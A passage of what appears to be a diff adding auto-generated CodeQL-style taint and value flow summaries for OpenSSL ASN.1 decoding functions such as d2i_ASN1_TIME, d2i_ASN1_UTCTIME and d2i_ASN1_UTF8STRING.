"Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TIME", "(ASN1_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_TYPE", "(ASN1_TYPE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UINTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UINTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ASN1_UINTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ASN1_UINTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UNIVERSALSTRING", "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTCTIME", "(ASN1_UTCTIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, 